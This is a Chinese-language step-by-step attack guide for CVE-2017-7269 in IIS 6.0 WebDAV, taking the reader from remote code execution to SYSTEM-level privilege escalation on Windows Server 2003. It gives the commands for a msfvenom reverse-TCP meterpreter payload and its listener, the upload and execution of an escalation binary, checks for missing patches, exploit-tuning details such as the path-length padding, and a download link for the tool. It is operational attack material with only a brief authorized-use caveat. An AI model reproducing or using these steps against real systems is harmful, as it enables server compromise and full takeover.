iis6.0(cve-2017-7269)最完整的利用,从远程利用,到本地提权,再到常见失败原因
字数 1772 2025-08-26 22:11:51

IIS 6.0 (CVE-2017-7269) 完整利用指南:从远程利用到本地提权

背景介绍

CVE-2017-7269是IIS 6.0 WebDAV组件中的一个缓冲区溢出漏洞,允许远程攻击者在目标系统上执行任意代码。本指南将详细介绍从远程利用到本地提权的完整过程,并分析常见失败原因及解决方案。

实验环境

  • 攻击系统: Kali Linux 2019 x64
  • 目标系统: Windows Server 2003 Enterprise x86 (中文版)
  • 先决条件: IIS必须开启WebDAV功能

目标系统环境搭建

  1. 开启WebDAV服务:
    • 控制面板 → 管理工具 → Internet信息服务管理器
    • Web服务扩展 → 开启WebDAV

远程利用前期准备

  1. 更新Kali系统:

    apt-get update && apt-get upgrade
    
  2. 注意:Metasploit自带的exploit/windows/iis/iis_webdav_scstoragepathfromurl模块无效(截至2019/09/05)

  3. 使用dmchell的漏洞利用脚本(需从外部获取)

远程利用过程

  1. 将Ruby脚本放入Metasploit模块路径:

    • 推荐路径:/usr/share/metasploit-framework/modules/exploits/windows/iis/
    • 注意:文件名中的"-"需改为"_"(如cve_2017_7269.rb
  2. 重启MSF或执行reload_all

  3. 设置参数并执行利用:

    • 成功后会获得Network Service权限的meterpreter会话

本地提权前期准备

  1. 检查目标系统是否安装补丁KB952004:

    systeminfo | findstr "KB952004"
    

    wmic qfe list full | findstr "KB952004"
    
  2. 备用提权补丁(如果KB952004已安装):

    • KB956572 (MS09-012)
    • KB970483 (MS09-020)
  3. 下载本地提权工具(如KB952004利用工具)

本地提权过程

  1. 在目标系统创建目录:

    mkdir c:\tmp
    
  2. 使用msfvenom生成payload:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=4444 -f exe > payload.exe
    
  3. 设置监听:

    msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST <攻击机IP>; set LPORT 4444; exploit"
    
  4. 上传文件到目标:

    upload /path/to/kb952004-escalate.exe c:\\tmp\\pr.exe
    upload /path/to/payload.exe c:\\tmp\\
    
  5. 执行提权(注意:工具需重命名为pr.exe):

    cd c:\tmp
    pr.exe payload.exe
    

系统兼容性测试

  • 可被利用系统:

    • Windows Server 2003 Enterprise x86
    • Windows Server 2003 R2 Enterprise x86
  • 不可利用系统:

    • Windows Server 2003 Enterprise x64
    • Windows Server 2003 R2 Enterprise x64
    • 已安装补丁KB3197835的系统

常见失败原因及解决方案

1. 端口和域名绑定问题

  • 问题描述: If头中的URL端口必须与站点绑定端口匹配,域名需与Host头一致
  • 解决方案: 确保exp中的端口配置正确

2. 物理路径长度问题

  • 问题描述: 物理路径长度 + 填充字符数必须等于114
  • 计算方法: 物理路径长度包括最后的反斜杠(如C:\Inetpub\wwwroot\为19)
  • 解决方案: 使用工具爆破网站路径或手动调整填充长度

3. 多次执行错误shellcode

  • 问题描述: 可能导致正确shellcode也无法执行,返回500或"参数不正确"
  • 解决方案: 避免重复执行错误的exp

4. 会话超时

  • 问题描述: exp执行成功后一段时间(10-20分钟)再次执行会返回400
  • 解决方案: 等待系统恢复或重启IIS服务

5. 针对非默认配置的解决方案

  1. 更改网站默认目录:

    • 右键网站 → 属性 → 主目录 → 更改本地路径
  2. 使用zcgonvh的exp替代dmchell的exp,参数包括:

    • PhysicalPathLength: 网站路径长度
    • 可使用admintony的工具爆破网站路径

注意事项

  1. 提权时meterpreter会话可能超时,尝试断开shell终端
  2. 如果出现"Exploit completed, but no session was created",可能目标已打补丁
  3. 64位系统通常无法利用此漏洞
  4. 确保WebDAV服务已启用

工具下载

通过遵循本指南,您应该能够成功利用CVE-2017-7269漏洞,从远程代码执行到本地提权获取系统完全控制权。请确保仅在授权测试的环境中使用这些技术。

IIS 6.0 (CVE-2017-7269) 完整利用指南:从远程利用到本地提权 背景介绍 CVE-2017-7269是IIS 6.0 WebDAV组件中的一个缓冲区溢出漏洞,允许远程攻击者在目标系统上执行任意代码。本指南将详细介绍从远程利用到本地提权的完整过程,并分析常见失败原因及解决方案。 实验环境 攻击系统 : Kali Linux 2019 x64 目标系统 : Windows Server 2003 Enterprise x86 (中文版) 先决条件 : IIS必须开启WebDAV功能 目标系统环境搭建 开启WebDAV服务: 控制面板 → 管理工具 → Internet信息服务管理器 Web服务扩展 → 开启WebDAV 远程利用前期准备 更新Kali系统: 注意:Metasploit自带的 exploit/windows/iis/iis_webdav_scstoragepathfromurl 模块无效(截至2019/09/05) 使用dmchell的漏洞利用脚本(需从外部获取) 远程利用过程 将Ruby脚本放入Metasploit模块路径: 推荐路径: /usr/share/metasploit-framework/modules/exploits/windows/iis/ 注意:文件名中的"-"需改为"_ "(如 cve_2017_7269.rb ) 重启MSF或执行 reload_all 设置参数并执行利用: 成功后会获得Network Service权限的meterpreter会话 本地提权前期准备 检查目标系统是否安装补丁KB952004: 或 备用提权补丁(如果KB952004已安装): KB956572 (MS09-012) KB970483 (MS09-020) 下载本地提权工具(如KB952004利用工具) 本地提权过程 在目标系统创建目录: 使用msfvenom生成payload: 设置监听: 上传文件到目标: 执行提权(注意:工具需重命名为pr.exe): 系统兼容性测试 可被利用系统 : Windows Server 2003 Enterprise x86 Windows Server 2003 R2 Enterprise x86 不可利用系统 : Windows Server 2003 Enterprise x64 Windows Server 2003 R2 Enterprise x64 已安装补丁KB3197835的系统 常见失败原因及解决方案 1. 端口和域名绑定问题 问题描述 : If头中的URL端口必须与站点绑定端口匹配,域名需与Host头一致 解决方案 : 确保exp中的端口配置正确 2. 物理路径长度问题 问题描述 : 物理路径长度 + 填充字符数必须等于114 计算方法 : 物理路径长度包括最后的反斜杠(如 C:\Inetpub\wwwroot\ 为19) 解决方案 : 使用工具爆破网站路径或手动调整填充长度 3. 多次执行错误shellcode 问题描述 : 可能导致正确shellcode也无法执行,返回500或"参数不正确" 解决方案 : 避免重复执行错误的exp 4. 会话超时 问题描述 : exp执行成功后一段时间(10-20分钟)再次执行会返回400 解决方案 : 等待系统恢复或重启IIS服务 5. 针对非默认配置的解决方案 更改网站默认目录: 右键网站 → 属性 → 主目录 → 更改本地路径 使用zcgonvh的exp替代dmchell的exp,参数包括: PhysicalPathLength : 网站路径长度 可使用admintony的工具爆破网站路径 注意事项 提权时meterpreter会话可能超时,尝试断开shell终端 如果出现"Exploit completed, but no session was created",可能目标已打补丁 64位系统通常无法利用此漏洞 确保WebDAV服务已启用 工具下载 本地提权工具: 百度网盘 提取码: ybdt 通过遵循本指南,您应该能够成功利用CVE-2017-7269漏洞,从远程代码执行到本地提权获取系统完全控制权。请确保仅在授权测试的环境中使用这些技术。